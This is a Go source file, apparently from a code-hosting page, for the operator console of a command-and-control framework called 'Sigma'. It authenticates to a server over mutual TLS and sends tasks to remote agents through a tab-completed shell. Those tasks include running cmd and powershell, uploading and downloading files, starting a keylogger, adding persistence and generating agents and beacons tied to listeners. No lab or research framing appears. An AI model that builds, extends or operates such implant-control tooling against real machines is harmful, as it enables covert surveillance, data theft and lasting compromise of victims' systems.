Added navigation commands "cd", "ls", "dir", "pwd". Now you can navigate to parent directory also via "cd ../" not only "cd .." Adjusted README Also, adjusting list of global and context commands for operator. Still cannot decide which one of global commands should be accessible from agent context.
542 lines
15 KiB
Go
Executable File
542 lines
15 KiB
Go
Executable File
package main
|
|
|
|
import (
|
|
"crypto/tls"
|
|
"crypto/x509"
|
|
"flag"
|
|
"fmt"
|
|
"io"
|
|
"log"
|
|
"os"
|
|
"slices"
|
|
"strings"
|
|
|
|
"github.com/chzyer/readline"
|
|
)
|
|
|
|
// Default server address
|
|
var defaultServerAddr = "127.0.0.1:8080"
|
|
|
|
// Path to certificates
|
|
var clientCertPath = "../certificates/client.crt"
|
|
var clientKeyPath = "../certificates/client.key"
|
|
var caCertPath = "../certificates/ca.crt"
|
|
|
|
// Available commands fpr tab completion in main context
|
|
var availableClobalCommands = []struct {
|
|
command string
|
|
subcommands map[string][]string
|
|
}{
|
|
{"agents", nil},
|
|
{"show", map[string][]string{
|
|
"agent": {""}, // Updated dynamically
|
|
"tasks": {""}, // Updated dynamically
|
|
"listeners": nil,
|
|
"modules": nil,
|
|
}},
|
|
{"clear", map[string][]string{
|
|
"tasks": {""}, // Updated dynamically
|
|
}},
|
|
{"listen", map[string][]string{
|
|
"-t": {"ssl", "tcp", "dns"},
|
|
"--transport": {"ssl", "tcp", "dns"},
|
|
"-h": {""},
|
|
"--host": {""},
|
|
"-p": {""},
|
|
"--port": {""},
|
|
"-n": {""},
|
|
"--name": {""},
|
|
}},
|
|
{"stop", map[string][]string{
|
|
"listener": {""}, // Updated dynamically
|
|
}},
|
|
{"generate", map[string][]string{
|
|
"agent": {""}, // Updated dynamically
|
|
"beacon": {""}, // Updated dynamically
|
|
}},
|
|
{"interact", map[string][]string{
|
|
"": {""}, // Updated dynamically
|
|
}},
|
|
{"exit", nil},
|
|
}
|
|
|
|
// Available commands fpr tab completion in agent context
|
|
var availableContextCommands = []struct {
|
|
command string
|
|
subcommands map[string][]string
|
|
}{
|
|
{"agents", nil},
|
|
{"show", map[string][]string{
|
|
"agent": {""}, // Updated dynamically
|
|
"tasks": {""}, // Updated dynamically
|
|
"listeners": nil,
|
|
"modules": nil,
|
|
}},
|
|
{"clear", map[string][]string{
|
|
"tasks": {""}, // Updated dynamically
|
|
}},
|
|
{"sleep", map[string][]string{"": {""}}},
|
|
{"cmd", map[string][]string{"": {""}}},
|
|
{"powershell", map[string][]string{"": {""}}},
|
|
{"run", map[string][]string{"": {""}}},
|
|
{"sysinfo", map[string][]string{"": {""}}},
|
|
{"files", map[string][]string{"": {""}}},
|
|
{"artifacts", map[string][]string{"": {""}}},
|
|
{"cd", map[string][]string{"": {""}}},
|
|
{"ls", map[string][]string{"": {""}}},
|
|
{"pwd", map[string][]string{"": {""}}},
|
|
{"dir", map[string][]string{"": {""}}},
|
|
{"keylogger", map[string][]string{
|
|
"start": {""},
|
|
"stop": {""},
|
|
}},
|
|
{"persistence", map[string][]string{
|
|
"add": {""},
|
|
"remove": {""},
|
|
}},
|
|
{"download", map[string][]string{"": {""}}},
|
|
{"upload", map[string][]string{"": {""}}},
|
|
{"kill", map[string][]string{"": {""}}},
|
|
{"cleanup", map[string][]string{"": {""}}},
|
|
}
|
|
|
|
var contextCommands = []string{
|
|
"sleep", "cmd", "powershell", "run", "sysinfo", "files", "keylogger",
|
|
"persistence", "download", "upload", "artifacts", "kill", "cleanup",
|
|
"exit", "cd", "ls", "pwd", "dir",
|
|
}
|
|
|
|
// To store list of agents for tab completion
|
|
var agents []string
|
|
|
|
// Empty when in main context
|
|
var currentAgentContext string
|
|
|
|
// Update available listener names for "generate agent" and "generate beacon" and for "stop listeners"
|
|
func UpdateListenersSubCommands(listeners []string) {
|
|
for i := range availableClobalCommands {
|
|
switch availableClobalCommands[i].command {
|
|
case "generate":
|
|
availableClobalCommands[i].subcommands["agent"] = listeners
|
|
availableClobalCommands[i].subcommands["beacon"] = listeners
|
|
case "stop":
|
|
availableClobalCommands[i].subcommands["listener"] = listeners
|
|
}
|
|
}
|
|
}
|
|
|
|
// Update available commands to auto-complete agent names
|
|
func UpdateAgentsSubCommands(agentList []string) {
|
|
agents = agentList
|
|
for i := range availableClobalCommands {
|
|
switch availableClobalCommands[i].command {
|
|
case "show":
|
|
availableClobalCommands[i].subcommands["agent"] = agentList
|
|
availableClobalCommands[i].subcommands["tasks"] = agentList
|
|
case "clear":
|
|
availableClobalCommands[i].subcommands["tasks"] = agentList
|
|
case "interact":
|
|
availableClobalCommands[i].subcommands[""] = agentList
|
|
}
|
|
}
|
|
}
|
|
|
|
// Build tab completer
|
|
func getCompleter() *readline.PrefixCompleter {
|
|
var items []readline.PrefixCompleterInterface
|
|
|
|
if currentAgentContext != "" {
|
|
// Agent context: include context commands, exit, and interact
|
|
for _, cmd := range availableContextCommands {
|
|
if cmd.subcommands != nil {
|
|
var subItems []readline.PrefixCompleterInterface
|
|
for sub, subsub := range cmd.subcommands {
|
|
if sub == "" {
|
|
for _, s := range subsub {
|
|
subItems = append(subItems, readline.PcItem(s))
|
|
}
|
|
} else {
|
|
nestedItems := make([]readline.PrefixCompleterInterface, len(subsub))
|
|
for i, subsubCmd := range subsub {
|
|
nestedItems[i] = readline.PcItem(subsubCmd)
|
|
}
|
|
subItems = append(subItems, readline.PcItem(sub, nestedItems...))
|
|
}
|
|
}
|
|
items = append(items, readline.PcItem(cmd.command, subItems...))
|
|
} else {
|
|
items = append(items, readline.PcItem(cmd.command))
|
|
}
|
|
}
|
|
// Add exit and interact explicitly
|
|
items = append(items, readline.PcItem("exit"))
|
|
var interactSubItems []readline.PrefixCompleterInterface
|
|
for _, agent := range agents {
|
|
interactSubItems = append(interactSubItems, readline.PcItem(agent))
|
|
}
|
|
items = append(items, readline.PcItem("interact", interactSubItems...))
|
|
} else {
|
|
// Main context: include global commands and agent IDs with context commands
|
|
// Add global commands
|
|
for _, cmd := range availableClobalCommands {
|
|
if cmd.subcommands != nil {
|
|
var subItems []readline.PrefixCompleterInterface
|
|
for sub, subsub := range cmd.subcommands {
|
|
if sub == "" {
|
|
for _, s := range subsub {
|
|
subItems = append(subItems, readline.PcItem(s))
|
|
}
|
|
} else {
|
|
nestedItems := make([]readline.PrefixCompleterInterface, len(subsub))
|
|
for i, subsubCmd := range subsub {
|
|
nestedItems[i] = readline.PcItem(subsubCmd)
|
|
}
|
|
subItems = append(subItems, readline.PcItem(sub, nestedItems...))
|
|
}
|
|
}
|
|
items = append(items, readline.PcItem(cmd.command, subItems...))
|
|
} else {
|
|
items = append(items, readline.PcItem(cmd.command))
|
|
}
|
|
}
|
|
|
|
// Add agent IDs with context commands as subcommands
|
|
for _, agent := range agents {
|
|
var agentSubItems []readline.PrefixCompleterInterface
|
|
for _, cmd := range availableContextCommands {
|
|
if cmd.subcommands != nil {
|
|
var subItems []readline.PrefixCompleterInterface
|
|
for sub, subsub := range cmd.subcommands {
|
|
if sub == "" {
|
|
for _, s := range subsub {
|
|
subItems = append(subItems, readline.PcItem(s))
|
|
}
|
|
} else {
|
|
nestedItems := make([]readline.PrefixCompleterInterface, len(subsub))
|
|
for i, subsubCmd := range subsub {
|
|
nestedItems[i] = readline.PcItem(subsubCmd)
|
|
}
|
|
subItems = append(subItems, readline.PcItem(sub, nestedItems...))
|
|
}
|
|
}
|
|
agentSubItems = append(agentSubItems, readline.PcItem(cmd.command, subItems...))
|
|
} else {
|
|
agentSubItems = append(agentSubItems, readline.PcItem(cmd.command))
|
|
}
|
|
}
|
|
items = append(items, readline.PcItem(agent, agentSubItems...))
|
|
}
|
|
}
|
|
|
|
return readline.NewPrefixCompleter(items...)
|
|
}
|
|
|
|
// Prepares the TLS configuration for secure connection
|
|
func setupTLSConfig() (*tls.Config, error) {
|
|
// Load CA certificate
|
|
caCert, err := os.ReadFile(caCertPath)
|
|
if err != nil {
|
|
return nil, fmt.Errorf("failed to read CA certificate: %v", err)
|
|
}
|
|
|
|
caCertPool := x509.NewCertPool()
|
|
if !caCertPool.AppendCertsFromPEM(caCert) {
|
|
return nil, fmt.Errorf("failed to append CA certificate to pool")
|
|
}
|
|
|
|
// Load client certificate and key
|
|
clientCert, err := tls.LoadX509KeyPair(clientCertPath, clientKeyPath)
|
|
if err != nil {
|
|
return nil, fmt.Errorf("failed to load client certificate and key: %v", err)
|
|
}
|
|
|
|
// Configure TLS
|
|
return &tls.Config{
|
|
Certificates: []tls.Certificate{clientCert},
|
|
RootCAs: caCertPool,
|
|
InsecureSkipVerify: false, // Ensure server's certificate is validated
|
|
}, nil
|
|
}
|
|
|
|
// Establishes a secure connection to the server
|
|
func connectToServer(serverAddr string, tlsConfig *tls.Config) (*tls.Conn, error) {
|
|
conn, err := tls.Dial("tcp", serverAddr, tlsConfig)
|
|
if err != nil {
|
|
return nil, fmt.Errorf("error connecting to server: %v", err)
|
|
}
|
|
|
|
fmt.Println("Connected to server")
|
|
return conn, nil
|
|
}
|
|
|
|
// Pretty simple authentication of user with the server
|
|
func authenticateUser(conn *tls.Conn, userID, password string) error {
|
|
fmt.Println("Starting authentication")
|
|
|
|
// Send authentication message
|
|
authMessage := fmt.Sprintf("AUTH:%s:%s", userID, password)
|
|
_, err := conn.Write([]byte(authMessage))
|
|
if err != nil {
|
|
return fmt.Errorf("error sending credentials: %v", err)
|
|
}
|
|
|
|
// Receive server response
|
|
buffer := make([]byte, 4096)
|
|
n, err := conn.Read(buffer)
|
|
if err != nil {
|
|
return fmt.Errorf("error reading from server: %v", err)
|
|
}
|
|
|
|
response := string(buffer[:n])
|
|
if response == "AUTH_OK" {
|
|
fmt.Println("Auth successful. You can now issue commands.")
|
|
return nil
|
|
}
|
|
|
|
return fmt.Errorf("authentication failed")
|
|
}
|
|
|
|
// Configure readline interface
|
|
func setupReadline() (*readline.Instance, error) {
|
|
rlConfig := &readline.Config{
|
|
Prompt: "\033[31mSigma >\033[0m ", // Colored prompt
|
|
HistoryFile: "/tmp/operator_history.txt",
|
|
AutoComplete: getCompleter(),
|
|
InterruptPrompt: "^C",
|
|
DisableAutoSaveHistory: false,
|
|
HistorySearchFold: true,
|
|
UniqueEditLine: true,
|
|
}
|
|
|
|
rl, err := readline.NewEx(rlConfig)
|
|
if err != nil {
|
|
return nil, fmt.Errorf("error initializing readline: %v", err)
|
|
}
|
|
|
|
rl.SetVimMode(false)
|
|
return rl, nil
|
|
}
|
|
|
|
// Goroutine to listen for server messages
|
|
func startServerListener(conn *tls.Conn, rl *readline.Instance, exitChan chan struct{}) {
|
|
go func() {
|
|
for {
|
|
serverMsg := make([]byte, 4096)
|
|
n, err := conn.Read(serverMsg)
|
|
if err != nil {
|
|
fmt.Println("Connection to server lost:", err)
|
|
close(exitChan)
|
|
return
|
|
}
|
|
|
|
// Parse the server message
|
|
message := string(serverMsg[:n])
|
|
handleServerMessage(message, rl)
|
|
}
|
|
}()
|
|
}
|
|
|
|
// Processes messages received from the server
|
|
func handleServerMessage(message string, rl *readline.Instance) {
|
|
// Tab-completion update with listeners
|
|
if strings.HasPrefix(message, "LISTENERS_UPDATE:") {
|
|
// Extract the listener names from the message
|
|
listeners := strings.Split(strings.TrimPrefix(message, "LISTENERS_UPDATE:"), ",")
|
|
|
|
// Update subcommands
|
|
UpdateListenersSubCommands(listeners)
|
|
|
|
// Rebuild the tab completion
|
|
rl.Config.AutoComplete = getCompleter()
|
|
rl.Refresh()
|
|
|
|
// Tab-completion update with new agents
|
|
} else if strings.HasPrefix(message, "AGENTS_UPDATE:") {
|
|
// Extract the agent names from the message
|
|
agents = strings.Split(strings.TrimPrefix(message, "AGENTS_UPDATE:"), ",")
|
|
|
|
// Update subcommands
|
|
UpdateAgentsSubCommands(agents)
|
|
|
|
// Rebuild the tab completion
|
|
rl.Config.AutoComplete = getCompleter()
|
|
rl.Refresh()
|
|
|
|
// Handle usual messages
|
|
} else {
|
|
fmt.Print("\r\033[K") // Clears the line and the prompt
|
|
fmt.Println("\n" + message)
|
|
rl.Refresh() // Refresh readline input
|
|
}
|
|
}
|
|
|
|
// Handles operator commands and context switching
|
|
func processCommand(command string, conn *tls.Conn, rl *readline.Instance) bool {
|
|
if command == "" {
|
|
return false
|
|
}
|
|
|
|
// Handle exit command
|
|
if command == "exit" {
|
|
if currentAgentContext != "" {
|
|
// Exit from agent context
|
|
currentAgentContext = ""
|
|
rl.SetPrompt("\033[31mSigma >\033[0m ")
|
|
|
|
// Update tab completion after context change
|
|
rl.Config.AutoComplete = getCompleter()
|
|
return false
|
|
} else {
|
|
// Exit from application
|
|
fmt.Println("Exiting...")
|
|
conn.Write([]byte(command))
|
|
return true
|
|
}
|
|
}
|
|
|
|
// Handle interact command
|
|
if strings.HasPrefix(command, "interact") {
|
|
handleInteractCommand(command, rl)
|
|
return false
|
|
}
|
|
|
|
// Handle command in agent context
|
|
if currentAgentContext != "" && isControlCommand(command) {
|
|
command = currentAgentContext + " " + command
|
|
}
|
|
|
|
// Send command to server
|
|
_, err := conn.Write([]byte(command))
|
|
if err != nil {
|
|
fmt.Printf("Error sending command: %v", err)
|
|
return true
|
|
}
|
|
|
|
return false
|
|
}
|
|
|
|
// Check if command is a task for agent
|
|
func isControlCommand(command string) bool {
|
|
// Split the command into words
|
|
parts := strings.Fields(command)
|
|
if len(parts) == 0 {
|
|
fmt.Println("Empty command :(")
|
|
return false
|
|
}
|
|
|
|
// Check if the first word is a context command
|
|
if slices.Contains(contextCommands, parts[0]) {
|
|
return true
|
|
} else {
|
|
return false
|
|
}
|
|
}
|
|
|
|
// Processes the interact command for agent context switching
|
|
func handleInteractCommand(command string, rl *readline.Instance) {
|
|
cmd := strings.Fields(command)
|
|
|
|
if len(cmd) != 2 {
|
|
fmt.Println("Usage: interact <agent_id>")
|
|
return
|
|
}
|
|
|
|
if !slices.Contains(agents, cmd[1]) {
|
|
fmt.Println("Agent not found!")
|
|
return
|
|
}
|
|
|
|
// Set new agent context
|
|
currentAgentContext = cmd[1]
|
|
|
|
// Update tab completion
|
|
rl.Config.AutoComplete = getCompleter()
|
|
|
|
// Update prompt with agent context
|
|
newPrompt := fmt.Sprintf("\033[31mSigma [%s] >\033[0m ", currentAgentContext)
|
|
rl.SetPrompt(newPrompt)
|
|
}
|
|
|
|
// Executes the main command processing loop
|
|
func runCommandLoop(conn *tls.Conn, rl *readline.Instance, exitChan chan struct{}) {
|
|
for {
|
|
select {
|
|
case <-exitChan:
|
|
fmt.Println("Exiting due to lost connection.")
|
|
return
|
|
default:
|
|
line, err := rl.Readline()
|
|
if err != nil {
|
|
if err == readline.ErrInterrupt {
|
|
if len(line) == 0 {
|
|
fmt.Println("\nExiting...")
|
|
return
|
|
}
|
|
continue
|
|
} else if err == io.EOF {
|
|
fmt.Println("\nExiting...")
|
|
return
|
|
}
|
|
fmt.Printf("Error reading line: %v", err)
|
|
continue
|
|
}
|
|
|
|
command := strings.TrimSpace(line)
|
|
shouldExit := processCommand(command, conn, rl)
|
|
if shouldExit {
|
|
return
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
func main() {
|
|
// Define flags for username, password and address of server
|
|
operatorPassword := flag.String("p", "", "Password")
|
|
operatorID := flag.String("u", "", "Username")
|
|
serverAddr := flag.String("ip", defaultServerAddr, "IP and port of server")
|
|
flag.Parse()
|
|
|
|
// Check if password and username are provided
|
|
if *operatorPassword == "" || *operatorID == "" {
|
|
fmt.Println("Usage: client.exe -u <username> -p <password> -ip <ip:port>")
|
|
return
|
|
}
|
|
fmt.Println("Client's username and password provided")
|
|
|
|
// Setup TLS
|
|
tlsConfig, err := setupTLSConfig()
|
|
if err != nil {
|
|
log.Fatalf("TLS setup failed: %v", err)
|
|
}
|
|
|
|
// Connect to server
|
|
conn, err := connectToServer(*serverAddr, tlsConfig)
|
|
if err != nil {
|
|
log.Fatalf("Server connection failed: %v", err)
|
|
}
|
|
defer conn.Close()
|
|
|
|
// Authenticate
|
|
err = authenticateUser(conn, *operatorID, *operatorPassword)
|
|
if err != nil {
|
|
log.Fatalf("Authentication failed: %v", err)
|
|
}
|
|
|
|
// Setup readline
|
|
rl, err := setupReadline()
|
|
if err != nil {
|
|
log.Fatalf("Readline setup failed: %v", err)
|
|
}
|
|
defer rl.Close()
|
|
|
|
// Create exit channel
|
|
exitChan := make(chan struct{})
|
|
|
|
// Start server message listener
|
|
startServerListener(conn, rl, exitChan)
|
|
|
|
// Run main command loop
|
|
runCommandLoop(conn, rl, exitChan)
|
|
}
|